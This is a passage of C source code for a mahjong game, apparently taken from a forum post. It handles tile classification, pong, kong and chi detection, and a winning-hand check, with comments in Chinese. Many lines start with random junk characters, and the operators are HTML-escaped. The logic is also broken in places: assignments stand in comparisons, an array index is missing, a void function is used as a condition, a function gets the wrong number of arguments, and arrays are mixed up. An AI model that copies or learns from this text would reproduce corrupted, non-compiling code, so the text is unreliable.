% D. ~- P* g. \) \& ocomputer.pp.d[1]=6;
; G4 W  M% F: ]! s# l2 H  \$ m4 S}
, E7 l6 w2 s$ D/ velse if(computer.pp.number&lt;=135 &amp;&amp; computer.pp.number&gt;=132)
. L4 X* S7 P& E/ h+ q/ ^! ]{
* S$ X* R* D$ a0 j% g- Xlgg=7;
computer.pp.d[1]=7;
}
}
9 Z6 ?+ l3 \- V( ~; f" E! a/ W4 j7 Q0 Z
' g2 o" v: k1 l- k9 x) r5 R3 |  Aif(logo==lg) /*如果相等的话,那再进一步的判断,乓杠的判断*/
if(logoo==lgg)
pg++;
+ I. q% N- A4 j' Cch.lg=lg; /*保存电脑手里的每张牌的信息*/
ch.lgg=lgg;
lg=0;
8 F, G6 n2 b3 K) z, Zlgg=0;
0 |6 Y+ w2 [  |( Fb++;
}
if(pg==2) /*乓*/
{

sing=1;
  V, ^* |+ u/ I9 [* m; b' ib=computer.m;
) h4 U6 h% A+ L/ {  ^1 Pwhile(b!=-1)
+ w0 A' @* S4 a5 K. m{
5 r, T1 W2 `$ yif(strcmp(me.pp[c].k,computer.pp.k)==0)
6 k/ j% z  y  V) e6 C: |computer.pp.p=1;
9 A; A; r* x* D9 u  p9 U. L
2 a$ \8 X* w1 T" A; k7 c" }b--;
0 M$ A& Q0 \5 Y3 V}
8 t. |( S: g* A# R2 q+ I}
if(pg==3) /*杠*/
8 l6 J, h$ g) d- x$ X2 K{
, t% K1 R. f" \# N; {
& a+ ]" ~0 e# Ssing=2;
& n6 B: s) o: d9 c# M8 Hb=computer.m;
while(b!=-1)
" l1 Y, U3 P) q$ d: q{
! K: d/ k1 _$ z4 T7 X; m7 l' Tif(strcmp(me.pp[c].k,computer.pp.k)==0)
computer.pp.g=1;
b--;
, f: O& M/ l" X1 o3 |0 f3 f}
  x* D7 E# ~, d0 k5 ]! R9 J}
f=0;
while(f&lt;computer.m) /*吃的判断*/
{ if(ch[f].lg==logo &amp;&amp; ch[f].lg!=4)
{
  f% V5 }9 U/ h0 I1 U4 cif(ch[f+1].lgg-ch[f].lgg==1) /*顺吃*/
  ]) H. s3 l- w- t6 Z. t, Y# ~if(ch[f].lgg-logoo==1)
{
$ c( [+ E: r+ t$ Zgp++;
" s, i7 h5 V: ]computer.pp[f].c=1;
computer.pp[f+1].c=1;
}
- j) F; v( `& C$ ^5 `- m. pif(ch[f].lgg-ch[f+1].lgg==-1) /*逆吃*/
( v7 O# c* g& Z. k% b( ?if(ch[f+1].lgg-logoo==-1)
{
7 U3 A/ H( j( i! f# G1 rgp++;
# H8 q: T" f* ~7 U, [computer.pp[f].c=1;
computer.pp[f+1].c=1;
}
if(ch[f].lgg-logoo==-1) /*中吃*/
if(ch[f+1].lgg-logoo==1)
9 w: {% o8 o- z- \{
gp++;
computer.pp[f].c=1;
computer.pp[f+1].c=1;
}
: k; I! E4 F% x$ H( n9 K# b& c! cif(gp==1)
% F8 \; e- z9 z4 ubreak;
}
f++;
/ @3 |$ W' b) Z( U1 ]/ `}
if(gp==1)
- g" ~0 d4 o0 |0 }, T' k{sing=7;

! n# I% J" V, N' F' B+ b5 F6 [}
pg=0;
gp=0;
b=0;
5 w3 [9 @+ I: r% V" I! H}
void rgznme(int c) /*本程序涵数的核心针对我的牌*/
{ int b=0,lg,lgg,logo,logoo,pg=0,gp=0,cs=0,f=0;
/ J6 i2 ?* E# U2 ~6 Q/ Zif(computer.pp[c].number&lt;=35 &amp;&amp; computer.pp[c].number&gt;=0)
# J0 `3 \; u$ `. _{
' ^) |) O. y: W8 e* ulogo=1;
if(computer.pp[c].number&lt;=3 &amp;&amp; computer.pp[c].number&gt;=0)
logoo=1;
/ P, k5 y1 ]& ?4 A8 l. n4 u1 Jelse if(computer.pp[c].number&lt;=7 &amp;&amp; computer.pp[c].number&gt;=4)
logoo=2;
3 s: W0 ^3 Y. v0 L; a3 Felse if(computer.pp[c].number&lt;=11 &amp;&amp; computer.pp[c].number&gt;=8)
logoo=3;
0 `( H4 X/ g" U/ p/ {2 relse if(computer.pp[c].number&lt;=15 &amp;&amp; computer.pp[c].number&gt;=12)
# B1 S/ j; \* T" X9 alogoo=4;
else if(computer.pp[c].number&lt;=19 &amp;&amp; computer.pp[c].number&gt;=16)
logoo=5;
else if(computer.pp[c].number&lt;=23 &amp;&amp; computer.pp[c].number&gt;=20)
logoo=6;
else if(computer.pp[c].number&lt;=27 &amp;&amp; computer.pp[c].number&gt;=24)
/ r5 ?" m4 M, f3 t' S# H' n1 ~3 a1 x( Wlogoo=7;
9 H& X: t- J9 gelse if(computer.pp[c].number&lt;=31 &amp;&amp; computer.pp[c].number&gt;=28)
logoo=8;
else if(computer.pp[c].number&lt;=35 &amp;&amp; computer.pp[c].number&gt;=32)
logoo=9;
}
: Y' }  G# M# X, s* g% @else if(computer.pp[c].number&lt;=71 &amp;&amp; computer.pp[c].number&gt;=36)
{
logo=2;
- @  O; Q- F  x$ Cif(computer.pp[c].number&lt;=39 &amp;&amp; computer.pp[c].number&gt;=36)
logoo=1;
else if(computer.pp[c].number&lt;=43 &amp;&amp; computer.pp[c].number&gt;=40)
logoo=2;
else if(computer.pp[c].number&lt;=47 &amp;&amp; computer.pp[c].number&gt;=44)
logoo=3;
* ~7 J% q! ?- X4 u9 yelse if(computer.pp[c].number&lt;=51 &amp;&amp; computer.pp[c].number&gt;=48)
logoo=4;
else if(computer.pp[c].number&lt;=55 &amp;&amp; computer.pp[c].number&gt;=52)
0 p. M" O$ d; D8 @. T5 P: u0 ~logoo=5;
# [: ?, i8 j# {) D' A0 gelse if(computer.pp[c].number&lt;=59 &amp;&amp; computer.pp[c].number&gt;=56)
logoo=6;
5 z# M7 N: r7 b7 t' G/ L1 d- delse if(computer.pp[c].number&lt;=63 &amp;&amp; computer.pp[c].number&gt;=60)
2 d$ U+ q  A+ J4 Slogoo=7;
5 n  `* g& O2 O4 t: X+ w" ?. F0 nelse if(computer.pp[c].number&lt;=67 &amp;&amp; computer.pp[c].number&gt;=64)
- u! S; P/ x/ q* ~) v5 \logoo=8;
else if(computer.pp[c].number&lt;=71 &amp;&amp; computer.pp[c].number&gt;=68)
logoo=9;
; L) X0 {/ G* m7 v8 Z}
6 q+ U3 g& t( {1 J4 e  kelse if(computer.pp[c].number&lt;=107 &amp;&amp; computer.pp[c].number&gt;=72)
" h0 u$ z7 z% }: @! b# R{
logo=3;
if(computer.pp[c].number&lt;=75 &amp;&amp; computer.pp[c].number&gt;=72)
# _! }- b! }- U( t& Jlogoo=1;
else if(computer.pp[c].number&lt;=79 &amp;&amp; computer.pp[c].number&gt;=76)
logoo=2;
' d# L. u' q/ f: L( \3 a# |else if(computer.pp[c].number&lt;=83 &amp;&amp; computer.pp[c].number&gt;=80)
% A/ M/ ~& F: f( zlogoo=3;
else if(computer.pp[c].number&lt;=87 &amp;&amp; computer.pp[c].number&gt;=84)
logoo=4;
/ c6 f! J+ _& C# L1 lelse if(computer.pp[c].number&lt;=91 &amp;&amp; computer.pp[c].number&gt;=88)
logoo=5;
: i$ `2 G% q! W  j! V5 Celse if(computer.pp[c].number&lt;=95 &amp;&amp; computer.pp[c].number&gt;=92)
6 W( M/ b( R4 r( e4 P" w/ I. S# ]logoo=6;
else if(computer.pp[c].number&lt;=99 &amp;&amp; computer.pp[c].number&gt;=96)
logoo=7;
4 }; L; |: G5 j/ Ielse if(computer.pp[c].number&lt;=103 &amp;&amp; computer.pp[c].number&gt;=100)
logoo=8;
else if(computer.pp[c].number&lt;=107 &amp;&amp; computer.pp[c].number&gt;=104)
  X+ L# h1 c) \" c7 F$ elogoo=9;
0 E5 i/ ]( c* P8 k/ @& W( x) H}
else if(computer.pp[c].number&lt;=135 &amp;&amp; computer.pp[c].number&gt;=108)
{
, K" p2 k9 r/ @! `+ H5 t' H! n& Xlogo=4;
7 z* ^: M9 f; O8 n# X. `if(computer.pp[c].number&lt;=111 &amp;&amp; computer.pp[c].number&gt;=108)
logoo=1;
else if(computer.pp[c].number&lt;=115 &amp;&amp; computer.pp[c].number&gt;=112)
1 L0 \1 S8 M! `3 k9 j+ slogoo=2;
8 v. ]& B0 d, q' T* belse if(computer.pp[c].number&lt;=119 &amp;&amp; computer.pp[c].number&gt;=116)
logoo=3;
6 P3 u& k6 L+ s6 t6 Z' @else if(computer.pp[c].number&lt;=123 &amp;&amp; computer.pp[c].number&gt;=120)
logoo=4;
% \) |4 D* o; b2 b) v; u" Oelse if(computer.pp[c].number&lt;=127 &amp;&amp; computer.pp[c].number&gt;=124)
& j* @) m6 ]- \3 H3 u6 d. h; Elogoo=5;
; {; U" {6 B! I- U8 H* uelse if(computer.pp[c].number&lt;=131 &amp;&amp; computer.pp[c].number&gt;=128)
0 F5 P8 _/ G3 }" Y$ X0 Nlogoo=6;
else if(computer.pp[c].number&lt;=135 &amp;&amp; computer.pp[c].number&gt;=132)
; P/ B0 Z+ Y- O+ Y) k" Xlogoo=7;
/ P; X4 U9 {$ V8 Y, ]( M+ y}
7 `& P2 \, |( A# A% J. jwhile(b&lt;=me.m)
+ W6 m* w. d' c' r( I& o{
9 S* s3 H. O+ A! n' r9 h3 z0 _9 eif(me.pp.number&lt;=35 &amp;&amp; me.pp.number&gt;=0) /*我分析后出了第一张牌*/
$ w& p" m4 i2 m, ]: G+ [{
lg=1;
me.pp.d[0]=1;
if(me.pp.number&lt;=3 &amp;&amp; me.pp.number&gt;=0)
{
8 |! a; [- U1 H5 b* d+ l4 Flgg=1;
3 J& D( |1 h* |! V! N  Dme.pp.d[1]=1;
}
" e+ l- t6 N2 F) Z, A" P$ Qelse if(me.pp.number&lt;=7 &amp;&amp; me.pp.number&gt;=4)
{
lgg=2;
+ i3 u6 h) @) h' \6 Rme.pp.d[1]=2;
}
$ i" ~/ V" f. d/ ielse if(me.pp.number&lt;=11 &amp;&amp; me.pp.number&gt;=8)
{
lgg=3;
% P9 k# n% B6 J0 u3 W2 yme.pp.d[1]=3;
) B3 I) H% a% [4 b" I}
else if(me.pp.number&lt;=15 &amp;&amp; me.pp.number&gt;=12)
" }9 q2 P. o; B' t9 S/ k  r  Q{
: O5 w5 B+ V1 k  f1 r2 d! y3 ]/ O6 ylgg=4;
& }6 E+ s/ X1 X% U) Ime.pp.d[1]=4;
}
$ v2 \* l# ^; z0 y% aelse if(me.pp.number&lt;=19 &amp;&amp; me.pp.number&gt;=16)
{
lgg=5;
. b( }8 Q: q3 a' d8 Ume.pp.d[1]=5;
}
" G/ m  _+ Z, felse if(me.pp.number&lt;=23 &amp;&amp; me.pp.number&gt;=20)
{
lgg=6;
& q& c: R% N% xme.pp.d[1]=6;
}
else if(me.pp.number&lt;=27 &amp;&amp; me.pp.number&gt;=24)
{
lgg=7;
4 G5 H! k7 C$ t/ A. F- q) L) S2 Vme.pp.d[1]=7;
}
else if(me.pp.number&lt;=31 &amp;&amp; me.pp.number&gt;=28)
{
2 H/ P3 L, [0 l. R' I* {lgg=8;
me.pp.d[1]=8;
}
else if(me.pp.number&lt;=35 &amp;&amp; me.pp.number&gt;=32)
  k; E" b7 W3 N/ w+ L! {{
! }2 O7 H( S9 clgg=9;
' V/ r% W0 r- q2 G/ Lme.pp.d[1]=9;
" d# w5 x7 v- d+ ^# M2 g}
}
% M' p" u8 F' _- o" xelse if(me.pp.number&lt;=71 &amp;&amp; me.pp.number&gt;=36)
{
3 [" B! ^  E, g, E* p' Q+ ]) slg=2;
me.pp.d[0]=2;
" f5 c7 D0 J/ _3 J& W7 Pif(me.pp.number&lt;=39 &amp;&amp; me.pp.number&gt;=36)
, q6 w. h- d7 o/ S{
5 [6 X, G3 p) m/ F6 [- qlgg=1;
) M# N: M6 `7 K& ?: \me.pp.d[1]=1;
}
else if(me.pp.number&lt;=43 &amp;&amp; me.pp.number&gt;=40)
{
lgg=2;
me.pp.d[1]=2;
}
0 B0 ^! ]( \' celse if(me.pp.number&lt;=47 &amp;&amp; me.pp.number&gt;=44)
{
+ p5 u: Z  g1 J; rlgg=3;
" J7 l: ^- y" ~* O7 N( v/ @me.pp.d[1]=3;
1 W# h1 t# {- r5 d* Q7 B1 C( W}
else if(me.pp.number&lt;=51 &amp;&amp; me.pp.number&gt;=48)
{
4 t5 |$ N0 y/ c% B: Dlgg=4;
me.pp.d[1]=4;
}
; x0 Y) \5 {; ^) a2 H: ^+ D' ielse if(me.pp.number&lt;=55 &amp;&amp; me.pp.number&gt;=52)
6 _/ v- ]/ g$ o, w# x+ }) t% c! \+ V{
lgg=5;
+ ]0 H2 i- ]/ B+ x! Pme.pp.d[1]=5;
4 ~% v" g% S: Y$ y( y4 x}
4 U2 U" t! H! b0 n8 Belse if(me.pp.number&lt;=59 &amp;&amp; me.pp.number&gt;=56)
{
9 r; S, E+ F+ p/ z# blgg=6;
8 g0 {3 `! q: Y& cme.pp.d[1]=6;
+ `, l7 [4 R1 V. t* k  r, K1 u}
else if(me.pp.number&lt;=63 &amp;&amp; me.pp.number&gt;=60)
{
lgg=7;
! e3 O9 p- P+ d3 u8 B+ `8 }4 ?) z/ Lme.pp.d[1]=7;
8 ?# F6 b0 e$ P}
else if(me.pp.number&lt;=67 &amp;&amp; me.pp.number&gt;=64)
{
lgg=8;
; x$ o; z+ L  j  f$ Lme.pp.d[1]=8;
}
else if(me.pp.number&lt;=71 &amp;&amp; me.pp.number&gt;=68)
( N+ r& M3 E" P4 W/ J* {, V5 r{
! O5 Y) H3 z. ~5 O/ |: x# U* L9 Llgg=9;
0 Q1 v4 M0 V3 X" z/ X; t6 b, Vme.pp.d[1]=9;
8 Y- }+ d" e" M, i; E}
}
else if(me.pp.number&lt;=107 &amp;&amp; me.pp.number&gt;=72)
2 w5 V) X0 Y6 [( s& i% W# I{
lg=3;
me.pp.d[0]=3;
if(me.pp.number&lt;=75 &amp;&amp; me.pp.number&gt;=72)
( t3 R. [; G# B{
* M  o/ n" N) ^2 E' E+ blgg=1;
" n- n2 p$ w- V' e; u/ X( ^me.pp.d[1]=1;
}
else if(me.pp.number&lt;=79 &amp;&amp; me.pp.number&gt;=76)
  y7 m( M6 X1 x{
9 c/ t! A$ y0 J2 m! blgg=2;
6 w8 v4 e) m, K" }4 O. E+ F+ Jme.pp.d[1]=2;
}
; ^: p& e3 R9 |0 Zelse if(me.pp.number&lt;=83 &amp;&amp; me.pp.number&gt;=80)
{
lgg=3;
  Z0 Q; g& g; rme.pp.d[1]=3;
1 z$ b4 Q; v$ M}
( Y( p3 d$ [, G7 p2 [else if(me.pp.number&lt;=87 &amp;&amp; me.pp.number&gt;=84)
{
lgg=4;
2 }: `- {* q7 g1 kme.pp.d[1]=4;
}
6 S% l; p( {, A. n* q6 h2 q6 gelse if(me.pp.number&lt;=91 &amp;&amp; me.pp.number&gt;=88)
* x! ]  w7 F) |; n; n4 @) n{
" V' W; G. M) [$ Dlgg=5;
me.pp.d[1]=5;
}
6 g. V7 v4 T- Oelse if(me.pp.number&lt;=95 &amp;&amp; me.pp.number&gt;=92)
{
( d- F( t* h7 R9 W4 B% Hlgg=6;
me.pp.d[1]=6;
}
. F" y5 p9 `7 oelse if(me.pp.number&lt;=99 &amp;&amp; me.pp.number&gt;=96)
{
lgg=7;
" x7 a7 C8 o5 |/ d$ d( E" D- l. pme.pp.d[1]=7;
}
else if(me.pp.number&lt;=103 &amp;&amp; me.pp.number&gt;=100)
% J1 [/ [; ]# O; V2 `{
+ h: M  p* {+ N; Y' Olgg=8;
' {# Z' V1 V/ j; ^4 Bme.pp.d[1]=8;
3 y8 a1 c- U- D; Z$ X}
+ b9 u# z$ c) i& B9 i: N) J8 p6 |else if(me.pp.number&lt;=107 &amp;&amp; me.pp.number&gt;=104)
{
2 n5 s: o* f; \- y; Llgg=9;
9 e2 F/ _; B) ?8 |* Y2 Rme.pp.d[1]=9;
}
; d3 f7 ]4 ^/ W}
' `9 `8 b) q! \. P/ X5 Aelse if(me.pp.number&lt;=135 &amp;&amp; me.pp.number&gt;=108)
{
& N! ^1 w& a8 Dlg=4;
% h/ |; y  A5 r! e/ k: K5 U& ^  \me.pp.d[0]=4;
if(me.pp.number&lt;=111 &amp;&amp; me.pp.number&gt;=108)
* m, F  a8 l/ Y1 q{
$ @' n6 H0 N( P5 Clgg=1;
) o" s1 M; t  ]) j9 p( ?me.pp.d[1]=1;
  c2 w  R+ y! P7 E) G6 r}
else if(me.pp.number&lt;=115 &amp;&amp; me.pp.number&gt;=112)
+ K% J6 b9 H6 m+ F4 x{
: o2 W+ m- ~7 t$ glgg=2;
me.pp.d[1]=2;
5 i. D. s$ e# O}
else if(me.pp.number&lt;=119 &amp;&amp; me.pp.number&gt;=116)
{
" T5 e* s+ Y, J4 K: i& H* K3 plgg=3;
" A, X6 z. ~" w2 `& }: S( @me.pp.d[1]=3;
3 D/ {# Z8 u1 [+ [( G}
else if(me.pp.number&lt;=123 &amp;&amp; me.pp.number&gt;=120)
{
+ ]  I" \& S: c# J7 elgg=4;
! ^3 x+ R) k8 U7 i0 B' ume.pp.d[1]=4;
4 Y3 y' h0 D7 p+ q9 j}
else if(me.pp.number&lt;=127 &amp;&amp; me.pp.number&gt;=124)
{
lgg=5;
, P- C/ I; c# u( ?9 ?; n$ U7 {me.pp.d[1]=5;
: }9 @1 T" b, q% h/ d% h- A; ]}
else if(me.pp.number&lt;=131 &amp;&amp; me.pp.number&gt;=128)
{
/ p  ?* }: F2 B, `2 ulgg=6;
me.pp.d[1]=6;
2 T3 k- ^! I6 P}
# ~) t* o& u) B1 C. q. eelse if(me.pp.number&lt;=135 &amp;&amp; me.pp.number&gt;=132)
{
lgg=7;
me.pp.d[1]=7;
  v& {2 _- N( s4 l0 ~}
}
( g' R" f# M, O; o}
}
! {- g3 g3 |0 m& j. H4 a: L* Uvoid istwo(testt)
4 M+ C' t  K/ P1 D/ |# \$ zint testt[];
{ if(testt[0]==testt[1])
: d- S8 C: S$ g, ^, jsecond++;
' a: }# @/ y' |}
+ r7 l6 q' ?' ?2 ~; q4 X. Jvoid isthree(testt,n)
3 U1 ?7 W) H( _- M) Wint testt[],n=0;
. \0 j+ b1 W, K. {( k1 l) Y{ int i,j,flage=0,lianx=0,same=0;
4 K, }9 y8 W5 X" _( u2 on=n/3;
for(j=0;j&lt;n;j++)
{
for(i=j*3;i&lt;2+j*3;i++)
% A+ p' ~  ~0 M! f* h# {8 Q) s{
if(testt==testt[i+1])
same++;
if(testt[i+1]-testt==1)
lianx++;
9 q; f+ \, w6 g+ h9 M! c}
. M1 E! h6 \$ s6 K. `. gif(same==2)
threes++;
5 m4 m. A, g9 ]3 P7 {if(lianx==2)
threes++;
same=0;
% n) V( _  Y1 Vlianx=0;
. b$ J( @/ F0 \}
}
void panduan() /*本程序的精髓*/
{int data[14];
5 F- @8 H5 e9 Q8 Aint pw[14];
' u1 N1 f& e: P, O  Oint pt[14];
; y+ _, Y' k% ^3 |% fint pi[14];
% X' c- ?) Z' S# \: Fint pf[14];
int test[12];
int jj,w,mm,nn,tpp=0,lp=0,ww=0,tt=0,ii=0,ff=0;ill=0;
for(jj=0;jj&lt;=me.m;jj++)
2 _, Q) b. ~- I+ b$ W& @/ k& E# X{
' h: z! v! S8 g; q1 r: z+ ]if(me.pp[jj].d[0]==1)
data[jj]=me.pp[jj].d[1];
if(me.pp[jj].d[0]==2)
data[jj]=me.pp[jj].d[1]+10;
' C- y: }7 O$ ~1 U/ M2 g: Pif(me.pp[jj].d[0]==3)
data[jj]=me.pp[jj].d[1]+20;
if(me.pp[jj].d[0]==4)
data[jj]=me.pp[jj].d[1]+30;
8 M3 B3 r% `* k% w6 ^# c6 i}
+ K1 K0 Z  E5 ~1 ~if(logo==2)
w=logoo+10;
if(logo==3)
/ V% B7 j4 T: w5 \8 f6 nw=logoo+20;
if(logo==4)
+ f. `9 a$ k6 T0 nw=logoo+30;
data[computer.m+1]=w;
9 D% M9 W/ A- ~% Tfor(mm=0;mm&lt;=computer.m;mm++)
4 ~2 }6 r* [" ~- Q- Q. K- Mfor(nn=mm;nn&lt;=computer.m;nn++)
if(data[mm]&gt;data[nn+1])
{
) A, A1 d( [) B/ T+ Rtpp=data[mm];
3 ~3 e0 e% S- x' K* c- P$ cdata[mm]=data[nn+1];
data[nn+1]=tpp;
}
lp=0;
while(lp&lt;=computer.m)
' j% S2 F2 ~# c, V4 f{ if(data[lp]&lt;10)
8 F0 L- d1 O  Q# spw[ww++]=data[lp];
# q% T% H; `& r! ]" N- Y& jif(data[lp]&gt;10 &amp;&amp; data[lp]&lt;20)
# w' ~/ @/ j5 w" `+ o. @+ Gpt[tt++]=data[lp];
3 f+ ]' O- r3 Z* a% H" v8 nif(data[lp]&gt;20 &amp;&amp; data[lp]&lt;30)
1 b( [  b- I& i' p) A; mpi[ii++]=data[lp];
7 @" p8 T6 i0 Q# v  v- {if(data[lp]&gt;30 &amp;&amp; data[lp]&lt;38)
/ x# V: K6 N3 y6 Upf[ff++]=data[lp];
( ~9 R  t, r) R- ~" q+ p9 Ulp++;
( r2 q" A* y7 E/ s3 q: w4 G}
if(ww==2)
istwo(pw);
else if(ww==3)
% Z) A1 @& x' C8 T" iisthree(pw,ww);
else if(ww==5)
" R& V4 v1 O" d7 F* v' T/*pw[5]原始牌数组，假设已经升序排列*/
  E3 o& Z9 c% t2 `6 q' W- n$ a+ G/*test[3]用来放置测试牌的数组*/
. |; m0 W6 @) v* }7 l4 G- U" Ufor(i=0;i&lt;4;i++)
9 \8 S6 _3 d4 Q+ L0 _! E9 d! }{
. l- M* e! p. C& X) n, q8 _# o5 `for(j=0;j&lt;2;j++)
{test[j]=pw[i+j];
}
if(istwo(test))
{ ill=0;
4 m6 ]7 |  k0 nfor(kl=0;kl&lt;5;kl++) /*把不在test数组中的三张放到test数组中*/
{if(kl==i)
- S! u" T8 k# g; R, `% f{
# U" H; P/ o# H$ I" xkl=kl+2;
if(kl==5)
break;
6 g$ d  K& S  L$ b! z4 V' V# S) i5 G}
  ?( L9 h' Q- Z* btest[ill++]=pw[kl];
}
isthree(test);
# M- R+ b: Q# U% e}
}
else if(ww==6)
& Y0 c. Q/ c1 A. ?0 ?, U% b8 I: }isthree(pw,ww);
  ]5 `  D3 S% I  I: Y2 m# xelse if(ww==8)
) v# \. g4 W! {for(i=0;i&lt;7;i++)
{
for(j=0;j&lt;2;j++)
& Z8 J# g( H$ I{test[j]=pw[i+j];
}
! A4 w) M$ Z* ^# Y  v9 tif(istwo(test))
{ ill=0;
) M- k7 G; ]$ H5 {* j1 hfor(kl=0;kl&lt;8;kl++) /*把不在test数组中的六张放到test数组中*/
( |$ D! @' X  U7 ~; j) l/ C/ F4 J2 x{if(kl==i)
{
4 l' W4 E  |  u2 wkl=kl+2;
/ T. t6 Q7 K$ ]2 E% q% b# n& H9 tif(kl==8)
break;
3 I. {4 {& f  T6 y7 _5 G% T}
test[ill++]=pw[kl];
}
6 d/ i! i/ v* {/ ^, G5 c) [isthree(test,ww-2);
8 L+ B+ L/ c# D3 q" C}
}
else if(ww==9)
2 {4 ?1 R, _8 o' w* p# B. O3 nisthree(pw,ww);
1 S( H0 Y; M2 ~else if(ww==11)
for(i=0;i&lt;10;i++)
{
0 u3 ^. @0 t" Mfor(j=0;j&lt;2;j++)
! p9 h$ ]4 w, `8 L{test[j]=pw[i+j];
: f- l  S3 I1 |; W% q}
2 h8 D; ~8 J8 S! b+ S2 ^7 fif(istwo(test))
{ ill=0;
for(kl=0;kl&lt;11;kl++) /*把不在test数组中的九张放到test数组中*/
; S7 s; ]5 k1 S) c0 @& z  I{if(kl==i)
1 I. L1 J6 }! Q# e* m8 m8 c2 h{
1 d0 [! U% y9 r' L0 N2 u  W5 Wkl=kl+2;
5 ~4 {7 q0 E. @# |/ A5 }if(kl==11)
2 K/ `- \- n$ Dbreak;
$ C: v5 v5 a( u}
& ^9 Y) H+ P) @$ }! _5 J4 ?0 Jtest[ill++]=pw[kl];
0 \! j: b5 ^" x3 h8 ]: k}
$ u: j- [0 E. |: n' ?isthree(test,ww-2);
}
}
else if(ww=12)
isthree(pw,ww);
else if(ww=14)
for(i=0;i&lt;13;i++)
{
for(j=0;j&lt;2;j++)
% p0 l9 g4 }1 y{test[j]=pw[i+j];
}
if(istwo(test))
0 Y" f# g8 z3 r. Q! M& E# V* C4 N0 V{ ill=0;
& P8 J/ X& J" H: l; j- efor(kl=0;kl&lt;11;kl++) /*把不在test数组中的九张放到test数组中*/
{if(kl==i)
9 }2 v! ]2 f# H% Z{
kl=kl+2;
if(kl==14)
" j  i& x% F6 lbreak;
) o3 [6 U2 u  \. e3 J}
test[ill++]=pw[kl];
}
isthree(test,ww-2);
- O( j1 n+ M3 I/ Y}
; H7 }' M. G# v* `}
if(tt==2)
istwo(pt);
else if(tt==3)
isthree(pt,tt);
! m0 O6 n- v% s( M9 w9 \else if(tt==5)
/*pt[5]原始牌数组，假设已经升序排列*/
/*test[3]用来放置测试牌的数组*/
for(i=0;i&lt;4;i++)
{
for(j=0;j&lt;2;j++)
{test[j]=pt[i+j];
}
if(istwo(test))
6 j; f% m0 x0 c  G{ ill=0;
for(kl=0;kl&lt;5;kl++) /*把不在test数组中的三张放到test数组中*/
{if(kl==i)
{
- M; R8 W' A9 W/ f& Bkl=kl+2;
6 D5 S8 ?  G0 E& Cif(kl==5)
0 z- {# j- K3 I  U( t6 Qbreak;
}
test[ill++]=pt[kl];
& j1 ^1 |6 O3 A3 O  j0 R5 q; D; C}
! \) i% ?1 C/ o# T: ^isthree(test);
4 b/ Q& ?/ Q6 u2 Q* D}
" {: q! ^( l+ P; J  v% |}
* m% p, D" |6 @, C4 melse if(tt==6)
isthree(pt,tt);
else if(tt==8)
$ k' ?4 Z  N8 C1 Y- t9 r5 Cfor(i=0;i&lt;7;i++)
8 _, y) k, O5 Q. f; o{
for(j=0;j&lt;2;j++)
& i0 \0 u2 l# q7 \$ m& \* ^{test[j]=pt[i+j];
}
  m8 x/ Q  F2 w( j# L! Cif(istwo(test))
{ ill=0;
for(kl=0;kl&lt;8;kl++) /*把不在test数组中的六张放到test数组中*/
0 n* e# E$ J8 O) G' c4 Y  k% F{if(kl==i)
{
: U( ]% D+ [0 T# L. `kl=kl+2;
if(kl==8)
break;
}
; z3 X, a; T" H! _test[ill++]=pt[kl];
4 l0 R% @3 b7 V- H& q6 i" Y}
isthree(test,tt-2);
1 h1 y: P: U) k4 X! f5 }( T. L}
}
else if(tt==9)
% L: e  d0 w8 i7 z+ {# W" G) Uisthree(pt,tt);
else if(tt==11)
for(i=0;i&lt;10;i++)
{
for(j=0;j&lt;2;j++)
1 R, Q# r0 ^. q/ [* k( a# G: V{test[j]=pt[i+j];
}
if(istwo(test))
7 I8 j( N2 Q( w: y{ ill=0;
for(kl=0;kl&lt;11;kl++) /*把不在test数组中的九张放到test数组中*/
{if(kl==i)
; o, ?# ?7 l: V$ N0 i; E{
kl=kl+2;
if(kl==11)
0 L! h. \; k& c  obreak;
}
test[ill++]=pt[kl];
5 o( M% G3 ~& B1 X- ~! T}
isthree(test,tt-2);
}
- ?8 D: ?+ D& k9 v9 n}
: n# v' t3 W1 \8 I. x/ v% g8 m/ Telse if(tt=12)
isthree(pt,tt);
: a: j9 X7 Q* {" U; g" P* nelse if(tt=14)
& G! N8 ^$ Y4 M8 j% g# i. @7 ifor(i=0;i&lt;13;i++)
3 Y' P2 S; O& K0 S{
% f! V; W+ w( i$ t( d) p9 y# H  f' ~. Gfor(j=0;j&lt;2;j++)
{test[j]=pt[i+j];
# `. n+ I# v: N; p}
, P* T' C1 E8 s7 d$ Yif(istwo(test))
4 U6 h1 ]- [! q' F{ ill=0;
1 X2 w' }5 O8 S/ f# Mfor(kl=0;kl&lt;11;kl++) /*把不在test数组中的九张放到test数组中*/
{if(kl==i)
; o5 {% X5 Q  j3 L! d; S# c4 D) x{
1 U# W  }, j% n6 u) m$ qkl=kl+2;
if(kl==14)
% e/ U* m8 r% v( M1 m& Y4 A" Wbreak;
/ m7 L6 t& ?; q- h+ c}
test[ill++]=pt[kl];
}
isthree(test,tt-2);
* `8 \! h2 I5 h}
0 a$ t* z9 j3 S6 [}
if(ii==2)
0 s8 r) h$ F2 P" s- K) Aistwo(pi);
+ |! q4 v- Z2 N) H5 ^" c! Zelse if(ii==3)
3 w, L- P9 c* ]- ~isthree(pi,ii);
! q5 D- Q! Y9 Y6 f! E6 [3 @7 Ielse if(ii==5)
$ P  k  F* ~) W7 \/ T' P/*pi[5]原始牌数组，假设已经升序排列*/
/*test[3]用来放置测试牌的数组*/
% J6 d! }. Q' v8 L1 Y6 P8 R9 zfor(i=0;i&lt;4;i++)
{
for(j=0;j&lt;2;j++)
{test[j]=pi[i+j];
( G# M& ~$ s- v$ e7 X}
if(istwo(test))
! T: j: l2 M! ]+ T{ ill=0;
) |' F+ |" J/ a, f# L$ p1 K/ h& vfor(kl=0;kl&lt;5;kl++) /*把不在test数组中的三张放到test数组中*/
9 }3 J% t  ]9 p' p& B+ D1 o& `( w{if(kl==i)
{
kl=kl+2;
1 A2 }6 x  R, q" O. J3 t! m+ Yif(kl==5)
4 `# ?( O& N) L2 pbreak;
$ H$ Y( g8 N; @/ [}
test[ill++]=pw[kl];
}
isthree(test);
0 E9 f2 W3 S7 n! U: z5 \% w}
' H' a3 }; ^# n$ A* B7 {7 U}
else if(ii==6)
  t. T9 `7 v, kisthree(pi,ii);
else if(ii==8)
4 V+ [. w6 t# `. g. K" tfor(i=0;i&lt;7;i++)
  m2 S5 C7 x# n7 e# V" ]{
& Z" Y" a; ]/ @" o- b( yfor(j=0;j&lt;2;j++)
{test[j]=pi[i+j];
}
  U. ^2 n8 O; C0 p+ o- w  {if(istwo(test))
{ ill=0;
for(kl=0;kl&lt;8;kl++) /*把不在test数组中的六张放到test数组中*/
